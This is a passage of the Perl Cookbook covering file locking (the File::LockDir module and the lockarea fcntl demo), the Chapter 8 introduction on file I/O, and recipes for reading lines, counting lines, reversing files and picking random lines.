The module itself is shown in Example 7.10. For more on building your own modules, see Chapter 12, Packages, Libraries, and Modules.

Example 7.10: File::LockDir

package File::LockDir;
# module to provide very basic filename-level
# locks.  No fancy systems calls.  In theory,
# directory info is sync'd over NFS.  Not
# stress tested.

use strict;

use Exporter;
use vars qw(@ISA @EXPORT);
@ISA      = qw(Exporter);
@EXPORT   = qw(nflock nunflock);

use vars qw($Debug $Check);
$Debug  ||= 0;  # may be predefined
$Check  ||= 5;  # may be predefined

use Cwd;
use Fcntl;
use Sys::Hostname;
use File::Basename;
use File::stat;
use Carp;

my %Locked_Files = ();

# usage: nflock(FILE; NAPTILL)
sub nflock($;$) {
    my $pathname = shift;
    my $naptime  = shift || 0;
    my $lockname = name2lock($pathname);
    my $whosegot = "$lockname/owner";
    my $start    = time();
    my $missed   = 0;
    local *OWNER;

    # if locking what I've already locked, return
    if ($Locked_Files{$pathname}) {
        carp "$pathname already locked";
        return 1
    }

    if (!-w dirname($pathname)) {
        croak "can't write to directory of $pathname";
    }

    while (1) {
        last if mkdir($lockname, 0777);
        confess "can't get $lockname: $!" if $missed++ > 10
                        && !-d $lockname;
        if ($Debug) {{
            open(OWNER, "< $whosegot") || last; # exit "if"!
            my $lockee = <OWNER>;
            chomp($lockee);
            printf STDERR "%s $0\[$$]: lock on %s held by %s\n",
                scalar(localtime), $pathname, $lockee;
            close OWNER;
        }}
        sleep $Check;
        return if $naptime && time > $start+$naptime;
    }
    sysopen(OWNER, $whosegot, O_WRONLY|O_CREAT|O_EXCL)
                            or croak "can't create $whosegot: $!";
    printf OWNER "$0\[$$] on %s since %s\n",
            hostname(), scalar(localtime);
    close(OWNER)
        or croak "close $whosegot: $!";
    $Locked_Files{$pathname}++;
    return 1;
}

# free the locked file
sub nunflock($) {
    my $pathname = shift;
    my $lockname = name2lock($pathname);
    my $whosegot = "$lockname/owner";
    unlink($whosegot);
    carp "releasing lock on $lockname" if $Debug;
    delete $Locked_Files{$pathname};
    return rmdir($lockname);
}

# helper function
sub name2lock($) {
    my $pathname = shift;
    my $dir  = dirname($pathname);
    my $file = basename($pathname);
    $dir = getcwd() if $dir eq '.';
    my $lockname = "$dir/$file.LOCKDIR";
    return $lockname;
}

# anything forgotten?
END {
    for my $pathname (keys %Locked_Files) {
        my $lockname = name2lock($pathname);
        my $whosegot = "$lockname/owner";
        carp "releasing forgotten $lockname";
        unlink($whosegot);
        return rmdir($lockname);
    }
}

1;

Previous: 7.20. Copying Filehandles | Perl Cookbook | Next: 7.22. Program: lockarea
7.20. Copying Filehandles | Book Index | 7.22. Program: lockarea


Recipe 7.22. Program: lockarea

Perl CookbookSearch this book

7.22. Program: lockarea

Perl's flock function only locks complete files, not regions of the file. Although fcntl supports locking of a file's regions, this is difficult to access from Perl, largely because no one has written an XS module that portably packs up the necessary structure.

The program in Example 7.11 implements fcntl, but only for the three architectures it already knows about: SunOS, BSD, and Linux. If you're running something else, you'll have to figure out the layout of the flock structure. We did this by eyeballing the C-language sys/fcntl.h #include file - and running the c2ph program to figure out alignment and typing. This program, while included with Perl, only works on systems with a strong Berkeley heritage, like those listed above. As with Unix - or Perl itself - you don't have to use c2ph, but it sure makes life easier if you can.

The struct_flock function in the lockarea program packs and unpacks in the proper format for the current architectures by consulting the $^O variable, which contains your current operating system name. There is no struct_flock function declaration. It's just aliased to the architecture-specific version. Function aliasing is discussed in Recipe 10.14.

The lockarea program opens a temporary file, clobbering any existing contents and writing a screenful (80 by 23) of blanks. Each line is the same length.

The program then forks one or more times and lets all the child processes try to update the file at the same time. The first argument, N, is the number of times to fork to produce 2 ** N processes. So lockarea 1 makes two children, lockarea 2 makes four, lockarea 3 makes eight, lockarea 4 makes sixteen, etc. The more kids, the more contention for the locks.

Each process picks a random line in the file, locks just that line, and updates it. It writes its process ID into the line, prepended with a count of how many times the line has been updated:

4: 18584 was just here

If the line was already locked, when the lock is finally granted, the line is updated with a message indicating the process that was in the way of this process:

29: 24652 ZAPPED 24656

A fun demo is to run the lockarea program in the background and the rep program from Chapter 15 watching the file change. Think of it as a video game for systems programmers.

% lockarea 5 &
% rep -1 'cat /tmp/lkscreen'

When you interrupt the original parent, usually with Ctrl-C or by sending it a SIGINT from the command line, it kills all its children by sending its entire process group a signal.

Example 7.11: lockarea

#!/usr/bin/perl -w
# lockarea - demo record locking with fcntl

use strict;

my $FORKS = shift || 1;
my $SLEEP = shift || 1;

use Fcntl;
use POSIX qw(:unistd_h :errno_h);

my $COLS = 80;
my $ROWS = 23;

# when's the last time you saw *this* mode used correctly?
open(FH, "+> /tmp/lkscreen")            or  die $!;

select(FH);
$| = 1;
select STDOUT;

# clear screen
for (1 .. $ROWS) {
        print FH " " x $COLS, "\n";
}

my $progenitor = $$;
fork while $FORKS-- > 0;

print "hello from $$\n";

if ($progenitor == $$) {
        $SIG{INT} = \&genocide;
} else {
        $SIG{INT} = sub { die "goodbye from $$" };
}

while (1) {
        my $line_num = int rand($ROWS);
        my $line;
        my $n;

        # move to line
        seek(FH, $n = $line_num * ($COLS+1), SEEK_SET)              or next;

        # get lock
        my $place = tell(FH);
        my $him;
        next unless defined($him = lock(*FH, $place, $COLS));

        # read line
        read(FH, $line, $COLS) == $COLS                             or next;
        my $count = ($line =~ /(\d+)/) ? $1 : 0;
        $count++;

        # update line
        seek(FH, $place, 0)                                         or die $!;
        my $update = sprintf($him
                            ? "%6d: %d ZAPPED %d"
                            : "%6d: %d was just here",
                        $count, $$, $him);
        my $start = int(rand($COLS - length($update)));
        die "XXX" if $start + length($update) > $COLS;
        printf FH "%*.*s\n", -$COLS, $COLS, " " x $start . $update;

        # release lock and go to sleep
        unlock(*FH, $place, $COLS);
        sleep $SLEEP if $SLEEP;
}
die "NOT REACHED";                              # just in case

# lock($handle, $offset, $timeout) - get an fcntl lock
sub lock {
        my ($fh, $start, $till) = @_;
        ##print "$$: Locking $start, $till\n";
        my $lock = struct_flock(F_WRLCK, SEEK_SET, $start, $till, 0);
        my $blocker = 0;
        unless (fcntl($fh, F_SETLK, $lock)) {
            die "F_SETLK $$ @_: $!" unless $! == EAGAIN || $! == EDEADLK;
            fcntl($fh, F_GETLK, $lock)          or die "F_GETLK $$ @_: $!";
            $blocker = (struct_flock($lock))[-1];
            ##print "lock $$ @_: waiting for $blocker\n";
            $lock = struct_flock(F_WRLCK, SEEK_SET, $start, $till, 0);
            unless (fcntl($fh, F_SETLKW, $lock)) {
                warn "F_SETLKW $$ @_: $!\n";
                return;  # undef
            }
        }
        return $blocker;
}

# unlock($handle, $offset, $timeout) - release an fcntl lock
sub unlock {
        my ($fh, $start, $till) = @_;
        ##print "$$: Unlocking $start, $till\n";
        my $lock = struct_flock(F_UNLCK, SEEK_SET, $start, $till, 0);
        fcntl($fh, F_SETLK, $lock) or die "F_UNLCK $$ @_: $!";
}

# OS-dependent flock structures

# Linux struct flock
#   short l_type;
#   short l_whence;
#   off_t l_start;
#   off_t l_len;
#   pid_t l_pid;
BEGIN {
        # c2ph says: typedef='s2 l2 i', sizeof=16
        my $FLOCK_STRUCT = 's s l l i';

        sub linux_flock {
            if (wantarray) {
                my ($type, $whence, $start, $len, $pid) =
                    unpack($FLOCK_STRUCT, $_[0]);
                return ($type, $whence, $start, $len, $pid);
            } else {
                my ($type, $whence, $start, $len, $pid) = @_;
                return pack($FLOCK_STRUCT,
                        $type, $whence, $start, $len, $pid);
            }
        }

}

# SunOS struct flock:
#   short   l_type;         /* F_RDLCK, F_WRLCK, or F_UNLCK */
#   short   l_whence;       /* flag to choose starting offset */
#   long    l_start;        /* relative offset, in bytes */
#   long    l_len;          /* length, in bytes; 0 means lock to EOF */
#   short   l_pid;          /* returned with F_GETLK */
#   short   l_xxx;          /* reserved for future use */
BEGIN {
        # c2ph says: typedef='s2 l2 s2', sizeof=16
        my $FLOCK_STRUCT = 's s l l s s';

        sub sunos_flock {
            if (wantarray) {
                my ($type, $whence, $start, $len, $pid, $xxx) =
                    unpack($FLOCK_STRUCT, $_[0]);
                return ($type, $whence, $start, $len, $pid);
            } else {
                my ($type, $whence, $start, $len, $pid) = @_;
                return pack($FLOCK_STRUCT,
                        $type, $whence, $start, $len, $pid, 0);
            }
        }

}

# (Free)BSD struct flock:
#   off_t   l_start;        /* starting offset */
#   off_t   l_len;          /* len = 0 means until end of file */
#   pid_t   l_pid;          /* lock owner */
#   short   l_type;         /* lock type: read/write, etc. */
#   short   l_whence;       /* type of l_start */
BEGIN {
        # c2ph says: typedef="q2 i s2", size=24
        my $FLOCK_STRUCT = 'll ll i s s';   # XXX: q is ll

        sub bsd_flock {
            if (wantarray) {
                my ($xxstart, $start, $xxlen, $len, $pid, $type, $whence) =
                    unpack($FLOCK_STRUCT, $_[0]);
                return ($type, $whence, $start, $len, $pid);
            } else {
                my ($type, $whence, $start, $len, $pid) = @_;
                my ($xxstart, $xxlen) = (0,0);
                return pack($FLOCK_STRUCT,
                    $xxstart, $start, $xxlen, $len, $pid, $type, $whence);
            }
        }
}

# alias the fcntl structure at compile time
BEGIN {
        for ($^O) {
            *struct_flock =                do                           {

                                    /bsd/  &&  \&bsd_flock
                                           ||
                                /linux/    &&    \&linux_flock
                                           ||
                              /sunos/      &&      \&sunos_flock
                                           ||
                      die "unknown operating system $^O, bailing out";
            };
        }
}

# install signal handler for children
BEGIN {
        my $called = 0;

        sub genocide {
            exit if $called++;
            print "$$: Time to die, kiddies.\n" if $$ == $progenitor;
            my $job = getpgrp();
            $SIG{INT} = 'IGNORE';
            kill -2, $job if $job;  # killpg(SIGINT, job)
            1 while wait > 0;
            print "$$: My turn\n" if $$ == $progenitor;
            exit;
        }

}

END { &genocide }

Previous: 7.21. Program: netlock | Perl Cookbook | Next: 8. File Contents
7.21. Program: netlock | Book Index | 8. File Contents


[Chapter 8] File Contents

Perl CookbookSearch this book
Previous: 7.22. Program: lockarea Chapter 8 Next: 8.1. Reading Lines with Continuation Characters

8. File Contents

Contents:
Introduction
Reading Lines with Continuation Characters
Counting Lines (or Paragraphs or Records) in a File
Processing Every Word in a File
Reading a File Backwards by Line or Paragraph
Trailing a Growing File
Picking a Random Line from a File
Randomizing All Lines
Reading a Particular Line in a File
Processing Variable-Length Text Fields
Removing the Last Line of a File
Processing Binary Files
Using Random-Access I/O
Updating a Random-Access File
Reading a String from a Binary File
Reading Fixed-Length Records
Reading Configuration Files
Testing a File for Trustworthiness
Program: tailwtmp
Program: tctee
Program: laston

The most brilliant decision in all of Unix was the choice of a single character for the newline sequence.

- Mike O'Dell, only half jokingly

8.0. Introduction

Before the Unix Revolution, every kind of data source and destination was inherently different. Getting two programs merely to understand each other required heavy wizardry and the occasional sacrifice of a virgin stack of punch cards to an itinerant mainframe repairman. This computational Tower of Babel made programmers dream of quitting the field to take up a less painful hobby, like autoflagellation.

These days, such cruel and unusual programming is largely behind us. Modern operating systems work hard to provide the illusion that I/O devices, network connections, process control information, other programs, the system console, and even users' terminals are all abstract streams of bytes called files. This lets you easily write programs that don't care where their input came from or where their output goes.

Because programs read and write via byte streams of simple text, every program can communicate with every other program. It is difficult to overstate the power and elegance of this approach. No longer dependent upon troglodyte gnomes with secret tomes of JCL (or COM) incantations, users can now create custom tools from smaller ones by using simple command-line I/O redirection, pipelines, and backticks.

Treating files as unstructured byte streams necessarily governs what you can do with them. You can read and write sequential, fixed-size blocks of data at any location in the file, increasing its size if you write past the current end. Perl uses the standard C I/O library to implement reading and writing of variable-length records like lines, paragraphs, and words.

What can't you do to an unstructured file? Because you can't insert or delete bytes anywhere but at end of file, you can't change the length of, insert, or delete records. An exception is the last record, which you can delete by truncating the file to the end of the previous record. For other modifications, you need to use a temporary file or work with a copy of the file in memory. If you need to do this a lot, a database system may be a better solution than a raw file (see Chapter 14, Database Access).

The most common files are text files, and the most common operations on text files are reading and writing lines. Use <FH> (or the internal function implementing it, readline) to read lines, and use print to write them. These functions can also be used to read or write any record that has a specific record separator. Lines are simply records that end in "\n".

The <FH> operator returns undef on error or when end of the file is reached, so use it in loops like this:

while (defined ($line = <DATAFILE>)) {
    chomp $line;
    $size = length $line;
    print "$size\n";                # output size of line
}

Because this is a common operation and that's a lot to type, Perl gives it a shorthand notation. This shorthand reads lines into $_ instead of $line. Many other string operations use $_ as a default value to operate on, so this is more useful than it may appear at first:

while (<DATAFILE>) {
    chomp;
    print length, "\n";             # output size of line
}

Call <FH> in scalar context to read the next line. Call it in list context to read all remaining lines:

@lines = <DATAFILE>;

Each time <FH> reads a record from a filehandle, it increments the special variable $. (the "current input record number"). This variable is only reset when close is called explicitly, which means that it's not reset when you reopen an already opened filehandle.

Another special variable is $/, the input record separator. It is set to "\n", the default end-of-line marker. You can set it to any string you like, for instance "\0" to read null-terminated records. Read paragraphs by setting $/ to the empty string, "". This is almost like setting $/ to "\n\n", in that blank lines function as record separators, but "" treats two or more consecutive empty lines as a single record separator, whereas "\n\n" returns empty records when more than two consecutive empty lines are read. Undefine $/ to read the rest of the file as one scalar:

undef $/;
$whole_file = <FILE>;               # 'slurp' mode

The -0 option to Perl lets you set $/ from the command line:

% perl -040 -e '$word = <>; print "First word is $word\n";'

The digits after -0 are the octal value of the single character that $/ is to be set to. If you specify an illegal value (e.g., with -0777) Perl will set $/ to undef. If you specify -00, Perl will set $/ to "". The limit of a single octal value means you can't set $/ to a multibyte string, for instance, "%%\n" to read fortune files. Instead, you must use a BEGIN block:

% perl -ne 'BEGIN { $/="%%\n" } chomp; print if /Unix/i' fortune.dat

Use print to write a line or any other data. The print function writes its arguments one after another and doesn't automatically add a line or record terminator by default.

print HANDLE "One", "two", "three"; # "Onetwothree"
print "Baa baa black sheep.\n";     # Sent to default output handle

There is no comma between the filehandle and the data to print. If you put a comma in there, Perl gives the error message "No comma allowed after filehandle". The default output handle is STDOUT. Change it with the select function. (See the introduction to Chapter 7, File Access.)

All systems use the virtual "\n" to represent a line terminator, called a newline. There is no such thing as a newline character. It is an illusion that the operating system, device drivers, C libraries, and Perl all conspire to preserve. Sometimes, this changes the number of characters in the strings you read and write. The conspiracy is revealed in Recipe 8.11.

Use the read function to read a fixed-length record. It takes three arguments: a filehandle, a scalar variable, and the number of bytes to read. It returns undef if an error occurred or else the number of bytes read. To write a fixed-length record, just use print.

$rv = read(HANDLE, $buffer, 4096)
        or die "Couldn't read from HANDLE : $!\n";
# $rv is the number of bytes read,
# $buffer holds the data read

The truncate function changes the length of a file, which can be specified as a filehandle or as a filename. It returns true if the file was successfully truncated, false otherwise:

truncate(HANDLE, $length)
    or die "Couldn't truncate: $!\n";
truncate("/tmp/$$.pid", $length)
    or die "Couldn't truncate: $!\n";

Each filehandle keeps track of where it is in the file. Reads and writes occur from this point, unless you've specified the O_APPEND flag (see Recipe 7.1). Fetch the file position for a filehandle with tell, and set it with seek. Because the stdio library rewrites data to preserve the illusion that "\n" is the line terminator, you cannot portably seek to offsets calculated by counting characters. Instead, only seek to offsets returned by tell.

$pos = tell(DATAFILE);
print "I'm $pos bytes from the start of DATAFILE.\n";

The seek function takes three arguments: the filehandle, the offset (in bytes) to go to, and a numeric argument indicating how to interpret the offset. 0 indicates an offset from the start of the file (the kind of value returned by tell); 1, an offset from the current location (a negative number means move backwards in the file, a positive number means move forward); and 2, an offset from end of file.

seek(LOGFILE, 0, 2)         or die "Couldn't seek to the end: $!\n";
seek(DATAFILE, $pos, 0)     or die "Couldn't seek to $pos: $!\n";
seek(OUT, -20, 1)           or die "Couldn't seek back 20 bytes: $!\n";

So far we've been describing buffered I/O. That is, <FH>, print, read, seek, and tell are all operations that use buffers for speed. Perl also provides unbuffered I/O operations: sysread, syswrite, and sysseek, all discussed in Chapter 7.

The sysread and syswrite functions are different from their <FH> and print counterparts. They both take a filehandle to act on, a scalar variable to either read into or write out from, and the number of bytes to read or write. They can also take an optional fourth argument, the offset in the scalar variable to start reading or writing at:

$written = syswrite(DATAFILE, $mystring, length($mystring));
die "syswrite failed: $!\n" unless $written == length($mystring);
$read = sysread(INFILE, $block, 256, 5);
warn "only read $read bytes, not 256" if 256 != $read;

The syswrite call sends the contents of $mystring to DATAFILE. The sysread call reads 256 bytes from INFILE and stores them 5 characters into $block, leaving its first 5 characters intact. Both sysread and syswrite return the number of bytes transferred, which could be different than the amount of data you were attempting to transfer. Maybe the file didn't have all the data you thought it did, so you got a short read. Maybe the filesystem that the file lives on filled up. Maybe your process was interrupted part of the way through the write. Stdio takes care of finishing the transfer in cases of interruption, but if you use the sysread and syswrite calls, you must do it yourself. See Recipe 9.3 for an example of this.

The sysseek function doubles as an unbuffered replacement for both seek and tell. It takes the same arguments as seek, but it returns either the new position if successful or undef on error. To find the current position within the file:

$pos = sysseek(HANDLE, 0, 1);       # don't change position
die "Couldn't sysseek: $!\n" unless defined $pos;

These are the basic operations available to you. The art and craft of programming lies in using these basic operations to solve complex problems like finding the number of lines in a file, reversing the order of lines in a file, randomly selecting a line from a file, building an index for a file, and so on.

Previous: 7.22. Program: lockarea | Perl Cookbook | Next: 8.1. Reading Lines with Continuation Characters
7.22. Program: lockarea | Book Index | 8.1. Reading Lines with Continuation Characters


Recipe 8.1. Reading Lines with Continuation Characters

Perl CookbookSearch this book

8.1. Reading Lines with Continuation Characters

Problem

You have a file with long lines split over two or more lines, with backslashes to indicate that a continuation line follows. You want to rejoin those split lines. Makefiles, shell scripts, and many other scripting or configuration languages let you break a long line into several shorter ones in this fashion.

Solution

Build up the complete lines one at a time until reaching one without a backslash:

while (defined($line = <FH>) ) {
    chomp $line;
    if ($line =~ s/\\$//) {
        $line .= <FH>;
        redo unless eof(FH);
    }
    # process full record in $line here
}

Discussion

Here's an example input file:

DISTFILES = $(DIST_COMMON) $(SOURCES) $(HEADERS) \
        $(TEXINFOS) $(INFOS) $(MANS) $(DATA)
DEP_DISTFILES = $(DIST_COMMON) $(SOURCES) $(HEADERS) \
        $(TEXINFOS) $(INFO_DEPS) $(MANS) $(DATA) \
        $(EXTRA_DIST)

You'd like to process that file with the escaped newlines ignored. That way the first record would in this case be the first two lines, the second record the next three lines, etc.

Here's how the algorithm works. The while loop reads lines, which may or may not be complete records - they might end in backslash (and a newline). The substitution operator s/// tries to remove a trailing backslash. If the substitution fails, we've found a line without a backslash at the end. Otherwise, read another record, concatenate it onto the accumulating $line variable, and use redo to jump back to just inside the opening brace of the while loop. This lands us back on the chomp.

A common problem with files in this format is invisible blanks between the backslash and end of line. It would be more forgiving if the substitute were like this:

if ($line =~ s/\\\s*$//) {
    # as before
}

Unfortunately, even if your program is forgiving, others doubtlessly aren't. Just remember to be liberal in what you accept and conservative in what you produce.

See Also

The chomp function in perlfunc (1) and in Chapter 3 of Programming Perl; the redo keyword in the "Loop Control" sections of perlsyn (1) and Chapter 2 of Programming Perl

Previous: 8.0. Introduction | Perl Cookbook | Next: 8.2. Counting Lines (or Paragraphs or Records) in a File
8.0. Introduction | Book Index | 8.2. Counting Lines (or Paragraphs or Records) in a File


Recipe 8.2. Counting Lines (or Paragraphs or Records) in a File

Perl CookbookSearch this book

8.2. Counting Lines (or Paragraphs or Records) in a File

Problem

You need to compute the number of lines in a file.

Solution

Many systems have a wc program to count lines in a file:

$count = `wc -l < $file`;
die "wc failed: $?" if $?;
chomp($count);

You could also open the file and read line-by-line until the end, counting lines as you go:

open(FILE, "< $file") or die "can't open $file: $!";
$count++ while <FILE>;
# $count now holds the number of lines read

Here's the fastest solution, assuming your line terminator really is "\n":

$count += tr/\n/\n/ while sysread(FILE, $_, 2 ** 16);

Discussion

Although you can use -s $file to determine the file size in bytes, you generally cannot use it to derive a line count. See the Introduction to Chapter 9, Directories, for more on -s.

If you can't or don't want to call another program to do your dirty work, you can emulate wc by opening up and reading the file yourself:

open(FILE, "< $file") or die "can't open $file: $!";
$count++ while <FILE>;
# $count now holds the number of lines read

Another way of writing this is:

open(FILE, "< $file") or die "can't open $file: $!";
for ($count=0; <FILE>; $count++) { }

If you're not reading from any other files, you don't need the $count variable in this case. The special variable $. holds the number of lines read since a filehandle was last explicitly closed:

1 while <FILE>;
$count = $.;

This reads all the records in the file and discards them.

To count paragraphs, set the global input record separator variable $/ to the empty string ("") before reading to make <> read a paragraph at a time.

$/ = '';            # enable paragraph mode for all reads
open(FILE, $file) or die "can't open $file: $!";
1 while <FILE>;
$para_count = $.;

See Also

Your system's wc (1) manpage; the $/ entry in perlvar (1), and in the "Special Variables" section of Chapter 2 of Programming Perl; the Introduction to Chapter 9

Previous: 8.1. Reading Lines with Continuation Characters | Perl Cookbook | Next: 8.3. Processing Every Word in a File
8.1. Reading Lines with Continuation Characters | Book Index | 8.3. Processing Every Word in a File


Recipe 8.3. Processing Every Word in a File

Perl CookbookSearch this book

8.3. Processing Every Word in a File

Problem

You need to do something to every word in a file, similar to the foreach function of csh.

Solution

Either split each line on whitespace:

while (<>) {
    for $chunk (split) {
        # do something with $chunk
    }
}

Or use the m//g operator to pull out one chunk at a time:

while (<>) {
    while ( /(\w[\w'-]*)/g ) {
        # do something with $1
    }
}

Discussion

Decide what you mean by "word." Sometimes you want anything but whitespace, sometimes you only want program identifiers, and sometimes you want English words. Your definition governs which regular expression to use.

The preceding two approaches work differently. Patterns are used in the first approach to decide what is not a word. In the second, they're used to decide what is a word.

With these techniques, it's easy to make a word frequency counter. Use a hash to store how many times each word has been seen:

# Make a word frequency count
%seen = ();
while (<>) {
    while ( /(\w['\w-]*)/g ) {
        $seen{lc $1}++;
    }
}

# output hash in a descending numeric sort of its values
foreach $word ( sort { $seen{$b} <=> $seen{$a} } keys %seen) {
    printf "%5d %s\n", $seen{$word}, $word;
}

To make the example program count line frequency instead of word frequency, omit the second while loop and do $seen{lc $_}++ instead:

# Line frequency count
%seen = ();
while (<>) {
    $seen{lc $_}++;
}
foreach $line ( sort { $seen{$b} <=> $seen{$a} } keys %seen ) {
    printf "%5d %s", $seen{$line}, $line;
}

Odd things that may need to be considered as words include "M.I.T.", "Micro$oft", "o'clock", "49ers", "street-wise", "and/or", "&", "c/o", "St.", "Tsch伛", and "Ni觨". Bear this in mind when you choosing a pattern to match. The last two require you to place a use locale in your program and then employ \w for a word character in the current locale.

See Also

The split function in perlfunc (1) and in Chapter 3 of Programming Perl; Recipe 6.3; Recipe 6.23

Previous: 8.2. Counting Lines (or Paragraphs or Records) in a File | Perl Cookbook | Next: 8.4. Reading a File Backwards by Line or Paragraph
8.2. Counting Lines (or Paragraphs or Records) in a File | Book Index | 8.4. Reading a File Backwards by Line or Paragraph


Recipe 8.4. Reading a File Backwards by Line or Paragraph

Perl CookbookSearch this book

8.4. Reading a File Backwards by Line or Paragraph

Problem

You want to process each line or paragraph of a text file in reverse.

Solution

Read all lines into an array, then process that array from the end to the start:

@lines = <FILE>;
while ($line = pop @lines) {
    # do something with $line
}

Or store an array of lines in reverse order:

@lines = reverse <FILE>;
foreach $line (@lines) {
    # do something with $line
}

Discussion

The limitations of file access mentioned in this chapter's Introduction prevent you from reading a line at a time starting from the end. You must read the lines into memory, then process them in reverse order. Needless to say, this requires at least as much available memory as the size of the file.

The first technique moves through the array of lines, in reverse order. This destructively processes the array, popping an element off the end of the array each time through the loop. We could do it non-destructively with:

for ($i = $#lines; $i != -1; $i--) {
    $line = $lines[$i];
}

The second approach generates an array of lines that is already in reverse order. This array can then be processed non-destructively. We get the reversed lines because the assignment to @lines forces list context on reverse, which in turn forces it on <FILE>. <> in a list context returns a list of all lines in the file.

These approaches are easily extended to paragraphs just by changing $/:

# this enclosing block keeps local $/ temporary
{
    local $/ = '';
    @paragraphs = reverse <FILE>;
}

foreach $paragraph (@paragraphs) {
    # do something
}

See Also

The reverse function in perlfunc (1) and in Chapter 3 of Programming Perl; the $/ entry in perlvar (1), and in the "Special Variables" section of Chapter 2 of Programming Perl; Recipe 4.10; Recipe 1.6

Previous: 8.3. Processing Every Word in a File | Perl Cookbook | Next: 8.5. Trailing a Growing File
8.3. Processing Every Word in a File | Book Index | 8.5. Trailing a Growing File


Recipe 8.5. Trailing a Growing File

Perl CookbookSearch this book

8.5. Trailing a Growing File

Problem

You want to read from a continually growing file, but the read fails when you reach the (current) end of file.

Solution

Read until the end of file. Sleep, clear the EOF flag, and read some more. Repeat until interrupted. To clear the EOF flag, either use seek:

for (;;) {
    while (<FH>) { .... }
    sleep $SOMETIME;
    seek(FH, 0, 1);
}

or the IO::Handle module's clearerr method:

use IO::Seekable;

for (;;) {
    while (<FH>) { .... }
    sleep $SOMETIME;
    FH->clearerr();
}

Discussion

When you read to the end of a file, an internal flag is set that prevents further reading. The most direct way to clear this flag is the clearerr method, if supported: it's in the IO::Handle and FileHandle modules.

$naptime = 1;

use IO::Handle;
open (LOGFILE, "/tmp/logfile") or die "can't open /tmp/logfile: $!";
for (;;) {
    while (<LOGFILE>) { print }     # or appropriate processing
    sleep $naptime;
    LOGFILE->clearerr();            # clear stdio error flag
}

If that simple approach doesn't work on your system, you may need to use seek. The seek code given above tries to move zero bytes from the current position, which nearly always works. It doesn't change the current position, but it should clear the end-of-file condition on the handle so that the next <LOGFILE> picks up new data.

If that still doesn't work (e.g., it relies on features of your C library's (so-called) standard I/O implementation), then you may need to use the following seek code, which remembers the old file position explicitly and returns there directly.

for (;;) {
    for ($curpos = tell(LOGFILE); <LOGFILE>; $curpos = tell(LOGFILE)) {
        # process $_ here
    }
    sleep $naptime;
    seek(LOGFILE, $curpos, 0);  # seek to where we had been
}

On some kinds of filesystems, the file could be removed while you are reading it. If so, there's probably little reason to continue checking whether it grows. To make the program exit in that case, stat the handle and make sure its link count (the third field in the return list) hasn't gone to 0:

exit if (stat(LOGFILE))[3] == 0

If you're using the File::stat module, you could write that more readably as:

use File::stat;
exit if stat(*LOGFILE)->nlink == 0;

See Also

The seek function in perlfunc (1) and in Chapter 3 of Programming Perl; your system's tail (1) and stdio (3) manpages

Previous: 8.4. Reading a File Backwards by Line or Paragraph | Perl Cookbook | Next: 8.6. Picking a Random Line from a File
8.4. Reading a File Backwards by Line or Paragraph | Book Index | 8.6. Picking a Random Line from a File


Recipe 8.6. Picking a Random Line from a File

Perl CookbookSearch this book

8.6. Picking a Random Line from a File

Problem

You want to return a random line from a file.

Solution

Use rand and $. (the current line number) to decide which line to print:

srand;
rand($.) < 1 && ($line = $_) while <>;
# $line is the random line

Discussion

This is a beautiful example of a solution that may not be obvious. We read every line in the file but don't have to store them all in memory. This is great for large files. Each line has a 1 in N (where N is the number of lines read so far) chance of being selected.

Here's a replacement for fortune using this algorithm:

$/ = "%%\n";
$data = '/usr/share/games/fortunes';
srand;
rand($.) < 1 && ($adage = $_) while <>;
print $adage;

If you know line offsets (for instance, you've created an index) and the number of lines, you can randomly select a line and jump to its offset in the file, but you usually don't have such an index.

Here's a more rigorous explanation of how the algorithm works. The function call rand ($.) picks a random number between 0 and the current line number. Therefore, you have a one in N chance, that is, 1/N, of keeping the Nth line. Therefore you've a 100% chance of keeping the first line, a 50% chance of keeping the second, a 33% chance of keeping the third, and so on. The question is whether this is fair for all N, where N is any positive integer.

First, some concrete examples, then abstract ones.

Obviously, a file with one line (N=1) is fair: you always keep the first line because 1/1 = 100%, making it fair for files of 1 line. For a file with two lines, N=2. You always keep the first line; then when reaching the second line, you have a 50% chance of keeping it. Thus, both lines have an equal chance of being selected, which shows that N=2 is fair. For a file with three lines, N=3. You have a one-third chance, 33%, of keeping that third line. That leaves a two-thirds chance of retaining one of the first two out of the three lines. But we've already shown that for those first two lines there's a 50-50 chance of selecting either one. 50 percent of two-thirds is one-third. Thus, you have a one-third chance of selecting each of the three lines of the file.

In the general case, a file of N+1 lines will choose the last line 1/(N+1) times and one of the previous N lines N/(N+1) times. Dividing N/(N+1) by N leaves us with 1/(N+1) for each the first N lines in our N+1 line file, and also 1/(N+1) for line number N+1. The algorithm is therefore fair for all N, where N is a positive integer.

We've managed to choose fairly a random line from a file with speed directly proportional to the size of the file, but using no more memory than it takes to hold the longest line, even in the worst case.

See Also

The $. entry in perlvar (1) and in the "Special Variables" section of Chapter 2 of Programming Perl; Recipe 2.7; Recipe 2.8

Previous: 8.5. Trailing a Growing File | Perl Cookbook | Next: 8.7. Randomizing All Lines
8.5. Trailing a Growing File | Book Index | 8.7. Randomizing All Lines


Recipe 8.7. Randomizing All Lines

Perl CookbookSearch this book

8.7. Randomizing All Lines

Problem

You want to copy a file and randomly reorder its lines.

Solution

Read all lines into an array, shuffle the array using the algorithm from Recipe 4.17, and write the shuffled lines back out:

# assumes the &shuffle sub from Chapter 4
while (<INPUT>) {
    push(@lines, $_);
}
@reordered = shuffle(@lines);
foreach (@reordered) {
    print OUTPUT $_;
}

Discussion

The easiest approach is to read all lines into memory and shuffle them there. Because you don't know where lines start in the file, you can't just shuffle a list of line numbers and then extract the lines in the order they'll appear in the shuffled file. Even if you did know their starts, it would probably still be slower because you'd be seeking around in the file instead of simply reading it from start to finish.

See Also

Recipe 2.7; Recipe 2.8; Recipe 4.17

Previous: 8.6. Picking a Random Line from a File | Perl Cookbook | Next: 8.8. Reading a Particular Line in a File
8.6. Picking a Random Line from a File | Book Index | 8.8. Reading a Particular Line in a File


Recipe 8.8. Reading a Particular Line in a File

Perl CookbookSearch this book

8.8. Reading a Particular Line in a File

Problem

You want to extract a single line from a file.

Solution

The simplest solution is to read the lines until you get to the one you want:

# looking for line number $DESIRED_LINE_NUMBER
$. = 0;
do { $LINE = <HANDLE> } until $. == $DESIRED_LINE_NUMBER || eof;

If you are going to be doing this a lot and the file fits into memory, read the file into an array:

@lines = <HANDLE>;
$LINE = $lines[$DESIRED_LINE_NUMBER];

If you will be retrieving lines by number often and the file doesn't fit into memory, build a byte-address index to let you seek directly to the start of the line:

# usage: build_index(*DATA_HANDLE, *INDEX_HANDLE)
sub build_index {
    my $data_file  = shift;
    my $index_file = shift;
    my $offset     = 0;

    while (<$data_file>) {
        print $index_file pack("N", $offset);
